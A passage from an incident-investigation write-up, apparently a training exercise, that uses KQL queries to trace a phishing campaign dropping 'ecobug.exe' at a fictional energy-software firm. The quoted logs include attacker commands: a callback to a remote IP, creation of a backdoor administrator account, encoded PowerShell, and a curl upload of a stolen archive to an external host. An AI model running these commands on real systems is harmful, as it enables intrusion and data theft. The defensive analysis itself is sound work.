Customer Support Specialist Allyson Clay 10.10.1.44 2024-05-24 13:02:52.0000 GET Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) http://energy-trends4u.net/modules/published/public/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
Customer Support Specialist Virginia Hesse 10.10.0.50 2024-05-24 13:18:52.0000 GET Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko http://energy-trends4u.net/modules/published/public/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
Customer Support Specialist Virginia Hesse 10.10.0.50 2024-05-24 13:29:52.0000 GET Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko http://energy-trends4u.net/modules/published/public/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
Sales Representative James Carpenter 10.10.0.131 2024-05-24 13:35:52.0000 GET Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 http://energy-trends4u.net/modules/published/public/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx
Customer Support Specialist Dana Zimmerman 10.10.0.103 2024-05-24 13:44:52.0000 GET Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.96 Safari/537.36 http://energy-trends4u.net/modules/published/public/Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx

Once again, the Project Manager for Docks ICS, Docks Customer Success Manager, and DOCKS ICS Security Lead all clicked on the links. Knowing that the threat actors were looking for information on the DOCKS ICS system and that they did not target any DOCKS ICS software developers, I figured that it would be best to focus on these three.

let bad_domains =
InboundNetworkEvents
| where user_agent == "Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00"
| distinct src_ip
| lookup PassiveDns on $left.src_ip == $right.ip
| distinct domain;
let bad_files =
Email
| where tostring(parse_url(link).Host) in (bad_domains)
| extend ["bad_files"] = tostring(parse_path(tostring(parse_url(link).Path)).Filename)
| distinct ["bad_files"];
Email
| where tostring(parse_url(link).Host) in (bad_domains)
| distinct recipient
| lookup Employees on $left.recipient == $right.email_addr
| where role has "docks"
| distinct username
| lookup FileCreationEvents on $left.username == $right.username
| sort by username, timestamp asc
| serialize
| extend payload = next(filename)
| where payload !in (bad_files)
| where filename in (bad_files) 
Query Results
username timestamp hostname sha256 path filename process_name payload
jalee 2024-05-02 16:14:33.0000 UPLM-DESKTOP 7bfa52b2a3b69d9ca06034faa8cb42da74c95677974fb6fde1d23493f8bc8d56 C:\Users\jalee\Downloads\Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx edge.exe ecobug.exe
alpetrov 2024-05-03 15:46:58.0000 SJ9V-MACHINE ec837630a361910a717290419d64af0500fe46e5d85a38d5fcbdd9a302caf8c4 C:\Users\alpetrov\Downloads\Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx Edge.exe ecobug.exe
tagreen 2024-05-23 16:45:55.0000 JP4D-MACHINE f3548e367a134eb09c8b11aecfe9eba063ef3a87cfcd1699bb2e1c945a105e20 C:\Users\tagreen\Downloads\Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx Recent_Mergers_and_Acquisitions_in_Energy_Industry.docx firefox.exe ecobug.exe

Note that the sha256 in the table above is for the .docx files, not ecobug.exe. Once opened, the documents drop said executable. Running a general query across the entire SolviSystems network shows that the file is located in 39 devices (38 distinct). Using a query such as

FileCreationEvents
| where filename == "ecobug.exe"
| summarize count() by hostname
| sort by count_

We can see that it got created twice on QP7A-MACHINE; if we look at the Employees table, it's Customer Support Specialist Virginia Hesse.

And if we check FileCreationEvents on her machine, we see there's an ecobug.exe with a different sha256 hash: 4c199019661ef7ef79023e2c960617ec9a2f275ad578b1b1a027adb201c165f3. For reference, these are all hashes associated with ecobug.exe and the amount of incidences across SolviSystems devices:

FileCreationEvents
| where filename == "ecobug.exe"
| summarize count() by filename, sha256
Query Results
filename sha256 count_
ecobug.exe 4c199019661ef7ef79023e2c960617ec9a2f275ad578b1b1a027adb201c165f3 12
ecobug.exe 1c3ef0407d5714037504c52f7abfa86c081fd7a021b52e2abe8a669f92413252 18
ecobug.exe 0e7e0e888f22b5cc83ce5f2560f9f331d89b8e02875e98ace822e074f2ee486b 9

I'll examine what this mysterious ecobug.exe does in the following section.

Section 4 - EcoShock

Returning to studying what happens once the payload is dropped on the system, I tried the query:

let bad_domains =
InboundNetworkEvents
| where user_agent == "Opera/8.64.(X11; Linux x86_64; kok-IN) Presto/2.9.165 Version/10.00"
| distinct src_ip
| lookup PassiveDns on $left.src_ip == $right.ip
| distinct domain;
let bad_files =
Email
| where tostring(parse_url(link).Host) in (bad_domains)
| extend ["bad_files"] = tostring(parse_path(tostring(parse_url(link).Path)).Filename)
| distinct ["bad_files"];
Email
| where tostring(parse_url(link).Host) in (bad_domains)
| distinct recipient
| lookup Employees on $left.recipient == $right.email_addr
| where role has "docks"
| distinct username
| lookup ProcessEvents on $left.username == $right.username
| sort by username, timestamp asc
| where timestamp >= datetime(2024-05-02 16:14:33.0000)
| where process_commandline !contains "SystemApps"
and process_commandline !contains "WindowsApps"
and process_commandline !contains "Spotify"
and process_commandline !contains "Teams"
and process_commandline !contains "Edge"
Query Results
This table has been redacted; it only shows the most relevant findings, rather than the entire output of the KQL query above.
username timestamp parent_process_name parent_process_hash process_commandline process_name process_hash hostname
tagreen 2024-05-23 16:46:23.0000 WINWORD.EXE 7a24c95b5aab3c3f63a2b53dc74b46a45dbad1b68d49ffa20f696255f9be7b13 C:\ProgramData\ecobug.exe ecobug.exe 8742c6b15a0b3a19bb19dda3b3ccdd34cb3c0e4bc6d371632f42e2a8829f2f43 JP4D-MACHINE
tagreen 2024-05-23 17:21:23.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f ecobug.exe --timeout 6000 --dest 98.117.26.236 --port 1337 cmd.exe a5fe2257fa248e1e0b175c7ec7629dd4f2eff804d1da8bd0d6228161d5cd55fb JP4D-MACHINE
tagreen 2024-05-24 12:22:35.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f netstat -an netstat.exe 45123305085b04809e6d03c55d45dc8f0240d1d74183a4026007e7dc33266d0e JP4D-MACHINE
tagreen 2024-05-24 13:01:35.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f ipconfig /all ipconfig.exe a31d693e6828a5af5858d769ce4c6aeb9797b566a48627a707a6ea9f2451ef13 JP4D-MACHINE
tagreen 2024-05-24 13:22:35.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net view net.exe e33f6104db50933117d2c4d9a6d27a525538f91160df5606292f8d26aff9044f JP4D-MACHINE
tagreen 2024-05-24 13:58:35.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f systeminfo systeminfo.exe 607168177ef9fea73593efe9929cf44ca39cb8504fe94523da4d8b3ed927e26e JP4D-MACHINE
tagreen 2024-05-24 14:04:35.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net users /add gu@rd!an abc1toothree net.exe bcfe4974a1befae3425c175d88e58737d2b9fa34576546a48d7b85973a2109ca JP4D-MACHINE
tagreen 2024-05-24 14:35:35.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net localgroup administrators gu@rd!an /add net.exe 9629c16c480d3f913b52fab92be9580dec4e5c586cca478e5fabb91e71ab3350 JP4D-MACHINE
tagreen 2024-05-24 14:37:35.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net share net.exe 6a55e04f5707cddfb61e4678b1f1f2f89f8780c75426dc5d2b940b467521984f JP4D-MACHINE
tagreen 2024-05-24 14:49:45.0000 sc.exe 4fe6d9eb8109fb79ff645138de7cff37906867aade589bd68afa503a9ab3cfb2 C:\Windows\System32\powershell.exe -Nop -ExecutionPolicy bypass -enc SW52b2tlLVdtaU1ldGhvZCAtQ29tcHV0ZXJOYW1lICRTZXJ2ZXIgLUNsYXNzIENDTV9Tb2Z0d2FyZVVwZGF0ZXNNYW5hZ2VyIC1OYW1lIEluc3RhbGxVcGRhdGVzIC0gQXJndW1lbnRMaXN0ICgsICRQZW5kaW5nVXBkYXRlTGlzdCkgLU5hbWVzcGFjZSByb290WyZjY20mXWNsaWVudHNkayB8IE91dC1OdWxs" powershell.exe 0a6d6af7d0350c8fc3881c7b6d4dcb6f0e5703d6a56f26d82021196d0696c04d JP4D-MACHINE
tagreen 2024-05-24 15:24:35.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net use net.exe 57e51474efa33477f89973de8a33d73f1138ae9478f95f153b92f341a67df024 JP4D-MACHINE
tagreen 2024-05-29 12:23:12.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net share cmd.exe b9ec6f64bbbb700484094baf627f5d7652af906d92a269d0b71aa8918c8fbd3e JP4D-MACHINE
tagreen 2024-05-29 12:23:25.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net use /PERSISTENT:YES cmd.exe 7cae9fd028b02f6aa44fd976784018e864403ec224304cac8b74e1b94e1d3dc3 JP4D-MACHINE
tagreen 2024-05-29 12:24:09.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f dir \\solvisystems.com\shared cmd.exe 5a45a5c2d8a3029b927f70c78dc861d7172315781a2679a13e84157d646d9cdc JP4D-MACHINE
tagreen 2024-05-29 13:06:58.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f dir \\\\solvisystems.com\\SharedDocs\\DOCKS\\Documentation cmd.exe e9b81d8893a0e111a4ecb28a11ef87b93d18febf7e095b61e98cef699fa44223 JP4D-MACHINE
tagreen 2024-05-29 14:05:58.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f Copy-Item -Path \\\\solvisystems.com\\SharedDocs\\DOCKS\\Documentation\\* -Destination C:\\Users\\tagreen\\CollectedData\\DOCKS_Docs powershell.exe db88201a9ba3e1f9b5ce6f8e3e6a0dd56703a212441f9aa4b59a23122f5cbba2 JP4D-MACHINE
tagreen 2024-05-29 14:43:58.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f Copy-Item -Path \\\\solvisystems.com\\SharedDocs\\SoftwareDevelopment\\CycleDocuments\\* -Destination C:\\Users\\tagreen\\CollectedData\\Software_Cycle_Docs powershell.exe 012edcdeb55053a39f18acdbde440a898f5e840647368e6c916668b8d74c7dc1 JP4D-MACHINE
tagreen 2024-05-29 15:39:22.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f Compress-Archive -Path C:\Users\tagreen\CollectedData\* -DestinationPath C:\DataExfil\CollectedData.zip powershell.exe 6c35d17e58d17fac8fed9d4285110481c2c4d2fc5d8cae86b0155722b88defc7 JP4D-MACHINE
tagreen 2024-05-29 16:20:39.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f curl -F 'file=@C:\DataExfil\CollectedData.zip' https://api.eco-awareness-update.net/upload cmd.exe e6082e8ff181efa9262446397f73220dcdec2ccb940fb046f3b5bd21f5b78d41 JP4D-MACHINE
jalee 2024-05-02 16:15:29.0000 WINWORD.EXE 6b5aad7fdd67bdeb552f9e47f3edd391e2adabf2c4c62f222f0f2b38c0f14037 C:\ProgramData\ecobug.exe ecobug.exe 1d030a2ef53ac19767a232874378ebc506b7b4b76f6c2c457bbc5fdda96b8dc0 UPLM-DESKTOP
jalee 2024-05-02 17:24:29.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f ecobug.exe --timeout 6000 --dest 98.117.26.236 --port 1337 cmd.exe 24f301c2c76c1e6664f457ae5d35c9997afbf1b784f0339b45579f1eaf848c0a UPLM-DESKTOP
jalee 2024-05-03 17:34:14.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f netstat -an netstat.exe c2f2068e094e4ecaf32941c3a54e715c4f81aa28d2f2c4c0c601e009cbd62d74 UPLM-DESKTOP
jalee 2024-05-06 12:19:26.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f ipconfig /all ipconfig.exe 8fe4f9d34d94a309c17677ddd24be7385c474ccc34a2f9952486997cc899b66d UPLM-DESKTOP
jalee 2024-05-06 13:11:26.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net view net.exe 493c45f6e4f9998b4d5fe9f2e6d1997ea7e3e2ac3eafe75ead344ca95629b919 UPLM-DESKTOP
jalee 2024-05-06 13:34:26.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f systeminfo systeminfo.exe 822469525bb813a70a7600698a887f8f429d4feb44ed91d0d907337c064844af UPLM-DESKTOP
jalee 2024-05-06 14:29:26.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net users /add gu@rd!an abc1toothree net.exe 4ee378fc46aa4cee2213f628e03bfc0ca520ae1fa3db80d0ab65b8888a5fc7de UPLM-DESKTOP
jalee 2024-05-06 15:03:26.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net localgroup administrators gu@rd!an /add net.exe c62e9237bf1eead0a917a44711dff54027396acd63d4bba98a044c5bf39598cb UPLM-DESKTOP
jalee 2024-05-06 15:17:26.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net share net.exe eeb834eaeff4f1d959181deb045e324539c61257efe0afd20ecc12175b3aef23 UPLM-DESKTOP
jalee 2024-05-06 15:30:26.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net use net.exe 7faf2a3ac9bfe66c21a50578e22de2ceada75d0c322c60410916bcea80eb1969 UPLM-DESKTOP
jalee 2024-05-28 16:42:52.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net share cmd.exe 882e97249844ef806c3db59defa5eef59ffaf181d9abf862c1607f020ad9cede UPLM-DESKTOP
jalee 2024-05-28 16:43:31.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net use /PERSISTENT:YES cmd.exe 5a290e805588a4d2345992ade0467f3f92b5904e44d2b20c1d304d676f37625d UPLM-DESKTOP
jalee 2024-05-28 16:43:43.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f dir \\solvisystems.com\shared cmd.exe 4a9bdcbf2075ceb33305c815508ff79b06c6f672032fbc95b0bcb4eaf936ba23 UPLM-DESKTOP
jalee 2024-05-28 17:42:23.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f dir \\\\solvisystems.com\\SharedDocs\\DOCKS\\Documentation cmd.exe 95e8eccf9d6577b26591832f6061d1e93bca53b92bd97e66504ae4a9c112908a UPLM-DESKTOP
jalee 2024-05-29 10:10:19.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f Copy-Item -Path \\\\solvisystems.com\\SharedDocs\\DOCKS\\Documentation\\* -Destination C:\\Users\\jalee\\CollectedData\\DOCKS_Docs powershell.exe 10b4a53d441cf5f175af860619236550a5f1ede2c93d5103a70c0b4d7af828cf UPLM-DESKTOP
jalee 2024-05-29 10:12:19.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f Copy-Item -Path \\\\solvisystems.com\\SharedDocs\\SoftwareDevelopment\\CycleDocuments\\* -Destination C:\\Users\\jalee\\CollectedData\\Software_Cycle_Docs powershell.exe 4a656715336a38a9f9c9fa651916963c44c032ea084f07b7c434fa78d0198e2c UPLM-DESKTOP
jalee 2024-05-29 10:19:20.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f Compress-Archive -Path C:\Users\jalee\CollectedData\* -DestinationPath C:\DataExfil\CollectedData.zip powershell.exe d81641e5798e45e2b0ec6534c57bb859408fae5321cdcb0ff2287aee38538e3b UPLM-DESKTOP
jalee 2024-05-29 10:22:59.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f curl -F 'file=@C:\DataExfil\CollectedData.zip' https://api.eco-awareness-update.net/upload cmd.exe 33fddd6874c9c529e709054c8796b2328634aee8e389c5f339f22a26bfc5b150 UPLM-DESKTOP
alpetrov 2024-05-03 15:47:48.0000 WINWORD.EXE c1506c86d4cdf92cc9ede5e902f86f872009a3d4c03ee24ca4cc111a5c33371a C:\ProgramData\ecobug.exe ecobug.exe 71dff03f211c53f94866bdf2386dc777a76645e8a7a08d8b570e764e686839f5 SJ9V-MACHINE
alpetrov 2024-05-03 17:04:48.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f ecobug.exe --timeout 6000 --dest 98.117.26.236 --port 1337 cmd.exe 37b68c81980633fcb6c6977ad0de1d4495dcfdf6fa91fbfca36b18120a3580e6 SJ9V-MACHINE
alpetrov 2024-05-08 16:29:11.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f netstat -an netstat.exe 288977eaebeaadc0a716dd71777e96be69c3941a06ee4296414c0498b8e77838 SJ9V-MACHINE
alpetrov 2024-05-08 17:23:11.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f ipconfig /all ipconfig.exe ac3ab84f72acedc6e9d06c2bbf7466760821c3e9f583a2c7f524c266dda94a19 SJ9V-MACHINE
alpetrov 2024-05-09 12:02:10.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net view net.exe 20275a07cf56e6d4d4ec6c09f61facc49b0e422904b3c2264d38a60b8bb99c71 SJ9V-MACHINE
alpetrov 2024-05-09 13:01:10.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f systeminfo systeminfo.exe 114aa24c728c5285d56eb95c2085303f1c5b566aedd730e3c6cb43e5a64e7632 SJ9V-MACHINE
alpetrov 2024-05-09 13:41:10.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net users /add gu@rd!an abc1toothree net.exe 7849591214a18b6507f1049403f21ac913f98256e8fb2ca5ce41c469e7655935 SJ9V-MACHINE
alpetrov 2024-05-09 14:31:10.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net localgroup administrators gu@rd!an /add net.exe 3a36ec903f48669fa96f7e48c1188cf5039f2f9c3965ab4283ddf533bab6c2be SJ9V-MACHINE
alpetrov 2024-05-09 14:48:10.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net share net.exe 92c9a803cb26a332576ee2a154fa4cca53a3bf46889598b84801183d77a1e3ad SJ9V-MACHINE
alpetrov 2024-05-09 15:41:10.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net use net.exe 10e07d897e18351c22cc54960637b5f2f8904fcaf523e9dd0403ea853e68066e SJ9V-MACHINE
alpetrov 2024-05-27 16:22:22.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net share cmd.exe 8ac235572b7645132e8d5c8700ab0e03296fd00e84433567307afb6d196f4831 SJ9V-MACHINE
alpetrov 2024-05-27 16:23:10.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f net use /PERSISTENT:YES cmd.exe 6d6d031276a08290569dc994ac293277475867782e73d5dfbdf7db2b7a5dc445 SJ9V-MACHINE
alpetrov 2024-05-27 16:24:00.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f dir \\solvisystems.com\shared cmd.exe 8e6435f0f63a5bf56bbf1e1db96f537f01e1af952a58d7356cca7393d839c54e SJ9V-MACHINE
alpetrov 2024-05-27 16:53:58.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f dir \\\\solvisystems.com\\SharedDocs\\DOCKS\\Documentation cmd.exe 6c6d0e8b5e952392e796a9081ed7242227af0a18f00ea6c46c3fe3f43b2f514c SJ9V-MACHINE
alpetrov 2024-05-27 17:09:58.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f Copy-Item -Path \\\\solvisystems.com\\SharedDocs\\DOCKS\\Documentation\\* -Destination C:\\Users\\alpetrov\\CollectedData\\DOCKS_Docs powershell.exe 9261a316134c5b2cea6a97385fd63740a36b332718002d772c841a05976bb628 SJ9V-MACHINE
alpetrov 2024-05-27 17:11:58.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f Copy-Item -Path \\\\solvisystems.com\\SharedDocs\\SoftwareDevelopment\\CycleDocuments\\* -Destination C:\\Users\\alpetrov\\CollectedData\\Software_Cycle_Docs powershell.exe 7bf040239d965e5d57903df3f73ff64062c8fbd6500235fbfe68525b99b41698 SJ9V-MACHINE
alpetrov 2024-05-27 17:52:50.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f Compress-Archive -Path C:\Users\alpetrov\CollectedData\* -DestinationPath C:\DataExfil\CollectedData.zip powershell.exe a03f13d67b5e5bfc5334f0fd014d5212a4f276b02a13809cebe59835446d4535 SJ9V-MACHINE
alpetrov 2024-05-28 11:23:14.0000 cmd.exe 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f curl -F 'file=@C:\DataExfil\CollectedData.zip' https://api.eco-awareness-update.net/upload cmd.exe 5ed8ef8a6fa6317a95557e15065f822853823e6a4b5bca7a0dfef6b20b8b7493 SJ9V-MACHINE

In all three devices (belonging to DOCKS ICS Security Lead Taylor Green, Project Manager for Docks ICS Jamie Lee and Docks Customer Success Manager Alexei Petrov) the payload executes and connects to IP 98.117.26.236 at port 1337. The attackers run a common set of discovery commands:

  • netstat -an: [The -a flag] Displays all active TCP connections and the TCP and UDP ports on which the computer is listening. [The -n flag] [d]isplays active TCP connections, however, addresses and port numbers are expressed numerically and no attempt is made to determine names. [Microsoft Learn]
  • ipconfig /all: Displays the full TCP/IP configuration for all adapters. Adapters can represent physical interfaces, such as installed network adapters, or logical interfaces, such as dial-up connections. [Microsoft Learn]
  • net view: Used without parameters, net view displays a list of computers in your current domain. [Microsoft Learn] In the hospital's case, this likely means all computers on the network.
  • systeminfo: Displays detailed configuration information about a computer and its operating system, including operating system configuration, security information, product ID, and hardware properties (such as RAM, disk space, and network cards). [Microsoft Learn]

...Followed by creating a new user gu@rd!an with account password abc1toothree [sic] using net users /add; the threat actor then adds the user to the administrators localgroup, giving themselves administrator rights inside the system. They use a few other discovery commands:

  • net share: Manages shared resources. Used without parameters, net share displays information about all of the resources that are shared on the local computer. [Microsoft Learn]
  • net use: Used without parameters, net use retrieves a list of network connections. [Microsoft Learn]
  • net use /PERSISTENT:YES: Controls the use of persistent network connections. [...] Yes saves all connections as they are made, and restores them at next logon. [Microsoft Learn]

After ensuring persistence, the threat actor browses through SolviSystems' internal folders, copying documentation related to the DOCKS ICS system and its software development cycle. They compress the data into the archive CollectedData.zip and upload it to api.eco-awareness-update.net/upload. Checking company-wide shows that no other employees had data exfiltrated nor were persistent connections set except for these three employees. Curiously, checking the NetworkFlow table shows that the most frequent connections were in the most irrelevant employees:

NetworkFlow
| where dest_ip == "98.117.26.236"
| summarize count() by src_ip
| lookup Employees on $left.src_ip == $right.ip_addr
| distinct role, name, src_ip, count_
Query Results
role name src_ip count_
Sales Representative Marian Kertzman 10.10.0.191 24
Customer Support Specialist Roy Wixon 10.10.0.234 24
Customer Support Specialist Annie Jay 10.10.0.81 24
Sales Representative Carla Wharton 10.10.0.164 24
Customer Support Specialist Heather Cunningham 10.10.0.220 24
Customer Support Specialist Carolyn Ocampo 10.10.1.70 23
Customer Support Specialist Laura Lesage 10.10.1.15 23
Project Manager for Docks ICS Jamie Lee 10.10.0.2 23
Sales Representative William Williams 10.10.0.205 23
Docks Customer Success Manager Alexei Petrov 10.10.0.3 22
Customer Support Specialist David Eye 10.10.0.82 22
Customer Support Specialist Elizabeth Hampton 10.10.0.15 22
Sales Representative Mary Clarence 10.10.0.177 17
Customer Support Specialist Michael Kraft 10.10.1.31 17
Customer Support Specialist Albert Richards 10.10.1.69 17
Customer Support Specialist Lauren Gee 10.10.0.212 16
Sales Representative Tommie Ross 10.10.0.166 15
Sales Representative Mariella Braswell 10.10.0.41 15
Customer Support Specialist Donna Malick 10.10.1.84 10
Customer Support Specialist Kathleen Harrison 10.10.1.9 10
Customer Support Specialist Esther Reither 10.10.1.87 9
Customer Support Specialist Robert Ortiz 10.10.1.68 8
Customer Support Specialist Jeri Watts 10.10.0.97 8
Sales Representative Amanda Strickland 10.10.0.193 8
Customer Support Specialist Carl Warfield 10.10.0.24 8
Customer Support Specialist Irene Williams 10.10.1.64 8
Customer Support Specialist Denise Adams 10.10.0.94 5
Customer Support Specialist Arthur Crawford 10.10.0.87 4
Sales Representative Norman Marine 10.10.0.173 3
Customer Support Specialist Rosie Baker 10.10.1.54 3
DOCKS ICS Security Lead Taylor Green 10.10.0.1 2
Customer Support Specialist Christopher Lane 10.10.0.175 2
Customer Support Specialist Reina Greenhouse 10.10.0.248 1
Customer Support Specialist Allyson Clay 10.10.1.44 1
Sales Representative Steven Suehs 10.10.0.88 1
Customer Support Specialist Virginia Hesse 10.10.0.50 2
Sales Representative James Carpenter 10.10.0.131 1
Customer Support Specialist Dana Zimmerman 10.10.0.103 1

Examining without summarize by count() shows that the connections were established every 24 hours on the dot. Across all devices there are 470 total connections made to this IP address, which resolves to news-on-industry.com.

Section 5 - A Shocking Ending

There is a lead I've sort of "held off" from investigating, and it's that the attackers accessed an internal development portal and the company's SharePoint (see [1]). As a reminder, they especifically accessed the following documents:

  • Development lifecycle internal processes (https://devportal.solvisystems.com/development_lifecycle/internal_process.pdf)
  • The directory containing the sprint reviews for the first quarter of 2024
  • DOCKS architecture documents (https://sharepoint.solvisystems.com/docs/DOCKS_Architecture.pdf)
  • DOCKS ICS integration manual (https://sharepoint.solvisystems.com/docs/DOCKS_Integration_Manual.pdf)
  • The directory containing the software's update logs
  • The directory containing security protocols

Some were accessed multiple times.

I must also consider the possibility that, with access to employee accounts and devices, the threat actors could've impersonated employees to obtain information from unwitting targets. I assumed they would exploit the fairly high-ranking employee accounts they already compromised and exfiltrated proprietary data from in order to extract information from lower-ranking employees and trusted peers.

ProcessEvents
| where process_commandline has "net use /PERSISTENT:YES"
| distinct hostname
| lookup Employees on $left.hostname == $right.hostname
| distinct email_addr
| lookup Email on $left.email_addr == $right.sender
| where timestamp between (datetime(2024-05-02 16:15:29.0000) .. datetime(2024-06-01))
and recipient endswith "solvisystems.com"
Query Results
This table has been redacted; it only shows the most relevant findings, rather than the entire output of the KQL query above.
email_addr timestamp reply_to recipient subject verdict link
alexei_petrov@solvisystems.com 2024-05-27 12:20:05.0000 alexei_petrov@solvisystems.com michael_potts@solvisystems.com Urgent Request: DOCKS System Documentation 🚨 CLEAN
alexei_petrov@solvisystems.com 2024-05-27 12:20:05.0000 alexei_petrov@solvisystems.com sibongile_sithole@solvisystems.com Urgent Request: DOCKS System Documentation 🚨 CLEAN
alexei_petrov@solvisystems.com 2024-05-27 12:20:05.0000 alexei_petrov@solvisystems.com bernadette_callahan@solvisystems.com Urgent Request: DOCKS System Documentation 🚨 CLEAN
taylor_green@solvisystems.com 2024-05-27 12:47:32.0000 taylor_green@solvisystems.com lissette_upson@solvisystems.com Urgent Request: DOCKS System Documentation 🚨 CLEAN
taylor_green@solvisystems.com 2024-05-27 12:47:32.0000 taylor_green@solvisystems.com marcia_biron@solvisystems.com Urgent Request: DOCKS System Documentation 🚨 CLEAN
taylor_green@solvisystems.com 2024-05-27 12:47:32.0000 taylor_green@solvisystems.com marcia_biron@solvisystems.com Urgent Request: DOCKS System Documentation 🚨 CLEAN
jamie_lee@solvisystems.com 2024-05-27 13:14:31.0000 jamie_lee@solvisystems.com bernadette_callahan@solvisystems.com Urgent Request: DOCKS System Documentation 🚨 CLEAN
jamie_lee@solvisystems.com 2024-05-27 13:14:31.0000 jamie_lee@solvisystems.com lerato_naidoo@solvisystems.com Urgent Request: DOCKS System Documentation 🚨 CLEAN
